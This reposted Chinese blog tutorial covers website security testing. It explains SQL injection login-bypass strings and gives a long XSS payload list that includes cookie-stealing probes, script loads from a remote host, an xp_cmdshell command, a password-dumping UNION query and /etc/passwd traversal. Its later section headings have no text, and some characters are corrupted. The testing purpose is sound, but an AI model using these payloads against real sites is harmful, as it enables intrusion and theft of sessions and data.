安全性测试系列-如何对网站进行安全性测试(转载)

上一篇 / 下一篇  2010-07-12 12:21:00 / 个人分类:安全性测试

 DJANGO的那篇文档中只介绍了网络中常见的安全问题以及如何从程序的角度去防御它们,并未介绍如何针对安全问题进行测试.本章的主要内容是针对上章中提及的安全性问题介绍如何进行安全性测试.

  1.SQL Injection(SQL注入)

  (1)如何进行SQL注入测试?

  • 首先找到带有参数传递的URL页面,如搜索页面,登录页面,提交评论页面等等.
注1:对于未明显标识在URL中传递参数的,可以通过查看HTML源代码中的"FORM"标签来辨别是否还有参数传递.在<FORM>和</FORM>的标签中间的每一个参数传递都有可能被利用.

<form. id="form_search" action="/search/" method="get">

<div>

<input type="text" name="q" id="search_q" value="" />

<input name="search" type="image" src="/media/images/site/search_btn.gif" />

<a href="/search/" class="fl">Gamefinder</a>

</div>

</form>

注2:当你找不到有输入行为的页面时,可以尝试找一些带有某些参数的特殊的URL,如HTTP://DOMAIN/INDEX.ASP?ID=10
  • 其次,在URL参数或表单中加入某些特殊的SQL语句或SQL片断,如在登录页面的URL中输入HTTP://DOMAIN/INDEX.ASP?USERNAME=HI' OR 1=1--
      注: 根据实际情况 ,SQL注入请求可以使用以下语句

注1:根据实际情况,SQL注入请求可以使用以下语句:

' or 1=1- -

" or 1=1- -

or 1=1- -

' or 'a'='a

" or "a"="a

') or ('a'='a 
   注2:为什么是OR,以及'――'是特殊的字符呢?

例子:在登录时进行身份验证时,通常使用如下语句来进行验证:sql=select * from user where name='"&name&"' and pwd='"&pwd&"'

如 输入http://duck/index.asp?username=admin' or 1=1- -SQL语句会变成以下:sql=select * from user where name='admin' or 1='1' and password='11'

OR是一个逻辑运算符,在判断多个条件的时候,只要一个成立,则等式就成立,后面的AND就不再时行判断了,也就是说我们绕过了密码验证,我们只用用户名就可以登录.

如 输入http://duck/index.asp?username=admin'--SQL语句会变成以下sql=select * from user where name='admin' --' and pasword='11',

“--”是忽略或注释,上述通过连接符注释掉后面的密码验证(:ACCESS数据库无效).
  • 最后,验证是否能入侵成功或是出错的信息是否包含关于数据库服务器的相关信息;如果能说明存在SQL安全漏洞.
  • 试想,如果网站存在SQL注入的危险,对于有经验的恶意用户还可能猜出数据库表和表结构,并对数据库表进行增\删\改的操作,这样造成的后果是非常严重的.
  (2)如何预防SQL注入?
  • 替换或删除敏感字符及字符串。

  • 屏蔽出错信息:阻止攻击者知道攻击的结果

  • 在服务端正式处理之前提交数据的合法性进行检查等。最根本的解决手段,在确认客户端的输入合法之前,服务端拒绝进行关键性的处理操作.

  2.Cross-site scritping(XSS):(跨站点脚本攻击)

  • <!--[if !supportLists]-->首先,找到带有参数传递的URL,如登录页面,搜索页面,提交评论,发表留言页面等等。
  • <!--[if !supportLists]-->其次,在页面参数中输入如下语句(如:Javascrīpt,VB scrīpt, HTML,ActiveX, Flash)来进行测试:

'><scrīpt>alert('XSS')</scrīpt>

  • 注:其它的XSS测试语句

    ><scrīpt>alert(document.cookie)</scrīpt>
    ='><scrīpt>alert(document.cookie)</scrīpt>
    <scrīpt>alert(document.cookie)</scrīpt>
    <scrīpt>alert(vulnerable)</scrīpt>
    %3Cscrīpt%3Ealert('XSS')%3C/scrīpt%3E
    <scrīpt>alert('XSS')</scrīpt>
    <img src="javascrīpt:alert('XSS')">
    %0a%0a<scrīpt>alert(\"Vulnerable\")</scrīpt>.jsp
    %22%3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e
    %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
    %2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/windows/win.ini
    %3c/a%3e%3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e
    %3c/title%3e%3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e
    %3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e/index.html
    %3f.jsp
    %3f.jsp
    &lt;scrīpt&gt;alert('Vulnerable');&lt;/scrīpt&gt
    <scrīpt>alert('Vulnerable')</scrīpt>
    ?sql_debug=1
    a%5c.aspx
    a.jsp/<scrīpt>alert('Vulnerable')</scrīpt>
    a/
    a?<scrīpt>alert('Vulnerable')</scrīpt>
    "><scrīpt>alert('Vulnerable')</scrīpt>
    ';exec%20master..xp_cmdshell%20'dir%20 c:%20>%20c:\inetpub\wwwroot\?.txt'--&&
    %22%3E%3Cscrīpt%3Ealert(document.cookie)%3C/scrīpt%3E
    %3Cscrīpt%3Ealert(document. domain);%3C/scrīpt%3E&
    %3Cscrīpt%3Ealert(document.domain);%3C/scrīpt%3E&SESSION_ID={SESSION_ID}&SESSION_ID=
    1%20union%20all%20select%20pass,0,0,0,0%20from%20customers%20where%20fname=
    ../../../../../../../../etc/passwd
    ..\..\..\..\..\..\..\..\windows\system.ini
    \..\..\..\..\..\..\..\..\windows\system.ini
    '';!--"<XSS>=&{()}
    <IMG SRC="javascrīpt:alert('XSS');">
    <IMG SRC=javascrīpt:alert('XSS')>
    <IMG SRC=javascrīpt:alert('XSS')>
    <IMG SRC=javascrīpt:alert(&quot;XSS&quot;)>
    <IMG SRC=javascrīpt:alert('XSS')>
    <IMG SRC=javascrīpt:alert('XSS')>
    <IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>
    <IMG SRC="jav ascrīpt:alert('XSS');">
    <IMG SRC="jav ascrīpt:alert('XSS');">
    <IMG SRC="jav ascrīpt:alert('XSS');">
    "<IMG SRC=java\0scrīpt:alert(\"XSS\")>";' > out
    <IMG SRC=" javascrīpt:alert('XSS');">
    <scrīpt>a=/XSS/alert(a.source)</scrīpt>
    <BODY BACKGROUND="javascrīpt:alert('XSS')">
    <BODY ōNLOAD=alert('XSS')>
    <IMG DYNSRC="javascrīpt:alert('XSS')">
    <IMG LOWSRC="javascrīpt:alert('XSS')">
    <BGSOUND SRC="javascrīpt:alert('XSS');">
    <br size="&{alert('XSS')}">
    <LAYER SRC="http://xss.ha.ckers.org/a.js"></layer>
    <LINK REL="stylesheet" HREF="javascrīpt:alert('XSS');">
    <IMG SRC='vbscrīpt:msgbox("XSS")'>
    <IMG SRC="mocha:[code]">
    <IMG SRC="livescrīpt:[code]">
    <META. HTTP-EQUIV="refresh" CONTENT="0;url=javascrīpt:alert('XSS');">
    <IFRAME. SRC=javascrīpt:alert('XSS')></IFRAME>
    <FRAMESET><FRAME. SRC=javascrīpt:alert('XSS')></FRAME></FRAMESET>
    <TABLE BACKGROUND="javascrīpt:alert('XSS')">
    <DIV STYLE="background-image: url(javascrīpt:alert('XSS'))">
    <DIV STYLE="behaviour: url('http://www.how-to-hack.org/exploit.html');">
    <DIV STYLE="width: expression(alert('XSS'));">
    <STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>
    <IMG STYLE='xss:expre\ssion(alert("XSS"))'>
    <STYLE. TYPE="text/javascrīpt">alert('XSS');</STYLE>
    <STYLE. TYPE="text/css">.XSS{background-image:url("javascrīpt:alert('XSS')");}</STYLE><A CLASS=XSS></A>
    <STYLE. type="text/css">BODY{background:url("javascrīpt:alert('XSS')")}</STYLE>
    <BASE HREF="javascrīpt:alert('XSS');//">
    getURL("javascrīpt:alert('XSS')")
    a="get";b="URL";c="javascrīpt:";d="alert('XSS');";eval(a+b+c+d);
    <XML SRC="javascrīpt:alert('XSS');">
    "> <BODY ōNLOAD="a();"><scrīpt>function a(){alert('XSS');}</scrīpt><"
    <scrīpt SRC="/Article/UploadFiles/200608/20060827171609376.jpg"></scrīpt>
    <IMG SRC="javascrīpt:alert('XSS')"
    <!--#exec cmd="/bin/echo '<scrīpt SRC'"--><!--#exec cmd="/bin/echo '=http://xss.ha.ckers.org/a.js></scrīpt>'"-->
    <IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode">
    <scrīpt a=">" SRC="http://xss.ha.ckers.org/a.js"></scrīpt>
    <scrīpt =">" SRC="http://xss.ha.ckers.org/a.js"></scrīpt>
    <scrīpt a=">" '' SRC="http://xss.ha.ckers.org/a.js"></scrīpt>
    <scrīpt "a='>'" SRC="http://xss.ha.ckers.org/a.js"></scrīpt>
    <scrīpt>document.write("<SCRI");</scrīpt>PT SRC="http://xss.ha.ckers.org/a.js"></scrīpt>
    <A HREF=http://www.gohttp://www.google.com/ogle.com/>link</A>

    最后,验证是否会出现带有“XSS”的弹出框,如果有则说明存在XSS漏洞.
  3.CSRF:(跨站点伪造请求)

  4.Email Header Injection(邮件标头注入)
  5.Directory Traversal(目录遍历)
  6.exposed error messages(错误信息)

TAG:

 

评分:0

我来说两句

Open Toolbar